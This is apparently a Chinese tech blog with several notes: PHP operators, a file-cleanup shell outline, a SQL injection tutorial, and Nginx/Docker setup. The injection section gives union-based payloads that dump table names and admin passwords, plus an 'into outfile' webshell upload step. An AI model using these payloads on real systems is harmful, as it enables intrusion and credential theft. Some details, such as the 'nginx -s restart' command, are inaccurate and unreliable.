PHP:Operator

PHP运算符

foo()和@foo()之间的区别:@foo()会忽略该表达式产生的任何错误

php的错误控制符
php支持一个错误运算符:@.当其放置在一个php表达式之前,该表达式可能产生的任何错误信息都被忽略掉.

运算符优先级

递增/递减 > ! > 算术运算符 > 大小比较 > (不)相等比较 > 引用 > 位运算符(^) > 位运算符(|) > 逻辑与 > 逻辑或 > 三目 > 赋值 > and > xor > or

使用括号可以增加代码可读性

==和===的区别:等值判断,7中False都相等.

递增/递减运算符

(1)递增/递减运算符不影响布尔值
(2)递减NULL值没有效果
(3)递增NULL值为1
(4)递增和递减在前就先运算符后返回(++$a),反之就先返回后运算($a++)

短路作用

$a = true || $b == 3;结果为true,||后不执行.
$b = false && $a == 1;结果为false,&&后不执行.

||、&&和and、or

$a = false || true;结果$a的值为true,||的优先级高于=
$a = false or true;结果$a的值为false,=的优先级高于or

例题

结果:a:1b:1
分析:$a = ((3 > 0) || $b = 3 > 0)运算顺序.由于3 > 0为true发生短路作用,使得$a=true,$b=0,true的递增仍为true,0的递增为1,所以结果得到a:1b:1.

结果:a:1b:1
分析:$a = ((3 < 0) || ($b = (3 > 0)))运算顺序.由于3 < 0为false,计算下一部分,下一部分中3 > 0优先级高于赋值,得到$b = true,得到false || true,得到$a = true.true的递增仍为true,所以结果为a:1b:1.

Shell_Delete File

背景
保留指定时间的文件,并删除不符合指定时间的文件。保留的文件要求是:每日00:00:00-00:59:59的文件,以及24小时以内的文件。

思路
1.通过stat -c %Y filename获取filename的时间戳。
2.通过date +%s获取当前时间戳
3.检测该文件时间戳与当前时间的时间戳相差是否超过1天(86400秒)
4.通过date +%Y-%m-%d获取今天的时间,格式 YYYY-mm-dd
5.拼接字符串,通过””拼接两个字符串,得到YYYY-mm-dd的0点时间,格式为YYYY-mm-dd hh-mm-ss(前mm表示月份,后mm表示分钟)
6.通过date -d “YYYY-mm-dd hh-mm-ss” +%s获取00:00:00的时间戳
7.对第1步所得到的文件时间戳和第6步得到的0点时间戳进行相减(当前时间戳-文件时间戳),再通过取模运算,最后和一天时间(86400秒)相减,并且判断该时间是否在区间(-3600, 0)之间。
通过运算符表示为:
设:文件时间戳为a,当前时间戳为b,则结果表示为((b-a)%86400)-86400

代码(在CentOS 7.6下运行)

SQL Injection

注入漏洞原理:通过修改url参数获取网站的返回值,来判断注入是否存在。
判断注入:
(1)and 1=1(真) and 1=2(假)
(2)or 1=1(假) or 1=2(真)

猜解字段:
1 and 1=1 order by 3
所得到的SQL语句为:
select [column_name] from [table_name] order by 3;
根据第三个字段进行排序。

猜解表段:
1 and 1=2 union select [columns],table_name from information_schema.tables where table_schema=database();
1 and 1=2 union select [columns],table_name from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1;
查询当前数据库中的所有表。
database():返回当前数据库
information_schema存放mysql表等信息,其中information_schema.tables存放表信息,information_schema.columns存放表的列信息

猜解列名:1 and 1=2 union select [columns],table_name,column_name from information_schema.columns where table_schema=database();
查询表中的列名。

猜解管理员账号和密码: 1 and 1=2 union select [columns],[username],[password] from [user];

注入流程:判断注入类型->查询关键信息->收集信息->开始实施入侵

注入类型:
字符型注入
输入的参数位字符型的时候:
SQL语句如下:
select * from table_name where id = ‘x’;
通过and ‘1’=’1和and ‘1’=’2判断:
1.在url中输入127.0.0.1?id=x’ and ‘1’=’1页面正常运行。
2.在url中输入127.0.0.1?id=x’ and ‘1’=’2页面报错。说明此SQL注入为字符型注入。
原因:
在1的情况中,SQL的查询语句变为:select * from table_name where id=’x’ and ‘1’=’1′;
返回的结果是正确的。
在2的情况中,SQL的查询语句变为:select * from table_name where id=’x’ and ‘1’=’2′;
返回的结果是错误的。

数字型注入
输入的参数为数字时:
SQL语句如下:
select * from table_name where id = 1;
通过and 1=1和and 1=2判断:
1.在url中输入127.0.0.1?id=1 and 1=1页面正常运行。
2.在url中输入127.0.0.1?id=1 and 1=2页面报错。说明此SQL注入为数字型注入。
原因:
在1的情况中,SQL的查询语句变为:select * from table_name where id=1 and 1=1;
返回的结果是正确的。
在2的情况中,SQL的查询语句变为:select * from table_name where id=1 and 1=2;
返回的结果是错误的。

Tip:
1.猜测SQL语句中是否有and拼接,如果有可以使用’#’来注释后方的SQL语句,可以使后方SQL语句无法执行。
2.user()当前用户
database()当前数据库
version()数据库版本
@@version_compile_os操作系统
@@datadir 读取数据库路径
@@datadir MYSQL 安装路径
system_user()系统用户名
current_user当前用户名
session_user()连接数据库的用户名
load_file()mysql读取本地文件的函数
3.group_concat(),concat(),concat_ws()的使用
4.select ” from table_name into outfile ‘path.php’;
上传一句话木马。

Load Balancing On Nginx And Docker Env

环境:阿里云 CentOS7, Ngnix 1.16.1,内核>=3.10

查看内核版本:
uname -r
查看系统版本:
cat /etc/redhat-release
安装依赖:
yum install -y yum-utils device-mapper-persistent-data lvm2
添加软件源:
yum-config-manager –add-repo https://download.docker.com/linux/centos/docker-ce.repo
搜索是否有docker-ce:
yum list docker-ce –showduplicates | sort -r
安装docker-ce:
yum install docker-ce
打开docker-ce:
systemctl start docker
设置开机自启:
systemctl enable docker
查看docker版本:
docker version
拉取nginx:
docker pull nginx

做两个目录作为docker中2个服务器的根目录:
mkdir -p /www/web1/
mkdir -p /www/web2/
放入2个index.html:
touch /www/web1/index.html
touch /www/web2/index.html
随便往html文件中填入内容,可以分辨即可。

开启docker中2个nginx服务:
docker run -itd -p 8080:80 -v /www/web1:/usr/share/nginx/html –name web1 nginx
docker run -itd -p 8081:80 -v /www/web2:/usr/share/nginx/html –name web2 nginx
可以通过docker ps查看正在运行的容器。

配置宿主机的conf文件:
vim /usr/local/nginx/conf/nginx.conf
在http{}末尾添加(weight=1表示权重,权重越高被访问的次数也就越多):
upstream 47.96.104.4{
server 47.96.104.4:8080 weight=1;
server 47.96.104.4:8081 weight=1;
}
在server中location中添加(http://***,***添加的是upstream后面的那个名字):
proxy_pass http://47.96.104.4
注意将server中的server_name那一行注释去掉并且将server_name后的内容修改为ip地址。
location修改完后将变成:
location / {
          root   html;
            index  index.html index.htm;
    proxy_pass http://47.96.104.4;
}
注意:如果是云服务器,记得开放相应的端口号。

通过浏览器访问: http://47.96.104.4
多次刷新页面将会显示不同的内容,内容根据index.html中所填写的内容显示。

Install Nginx By Compile Sources

环境:阿里云 CentOS7.3

1.安装pcre
安装在/usr/local/下:
cd /usr/local
获取pcre包,注意不要获取pcre2的包,否则编译Nginx将出错:
网址:https://ftp.pcre.org/pub/pcre/
wget https://ftp.pcre.org/pub/pcre/pcre-8.43.tar.gz
解压pcre压缩包:
tar -zxvf pcre-8.43.tar.gz
进入pcre目录:
cd pcre-8.43
对环境进行配置检查:
./configure
编译并安装:
make && make install

2.安装zlib
安装在/usr/local/下:
cd /usr/local
获取zlib:
网址:http://zlib.net/
wget http://zlib.net/zlib-1.2.11.tar.gz
解压zlib包:
tar -zxvf zlib-1.2.11.tar.gz
进入zlib目录:
cd zlib-1.2.11
对环境进行配置检查:
./configure
编译并安装:
make && make install

3.安装openssl
安装在/usr/local/下
cd /usr/local
获取openssl:
网址:https://www.openssl.org/source/
wget https://www.openssl.org/source/openssl-1.1.1c.tar.gz
解压openssl包:
tar -zxvf openssl-1.1.1c.tar.gz
进入openssl目录:
cd openssl-1.1.1c
对环境配置检查:
./config
编译并安装:
make && make install

4.安装nginx:
安装在/usr/local/下:
cd /usr/local
获取nginx:
网址:http://nginx.org/en/download.html
wget http://nginx.org/download/nginx-1.16.1.tar.gz
解压nginx:
tar -zxvf nginx-1.16.1.tar.gz
进入nginx目录:
cd nginx-1.16.1
对环境进行配置检查:
./configure –prefix=/usr/local/nginx –with-pcre=/usr/local/pcre-8.43 –with-zlib=/usr/local/zlib-1.2.11 –with-openssl=/usr/local/openssl-1.1.1c
进行编译安装:
make && make install

开启nginx:
/usr/local/nginx/sbin/nginx
关闭nginx:
/usr/local/nginx/sbin/nginx -s stop
重启nginx:
/usr/local/nginx/sbin/nginx -s restart
通过浏览器浏览,输入ip地址。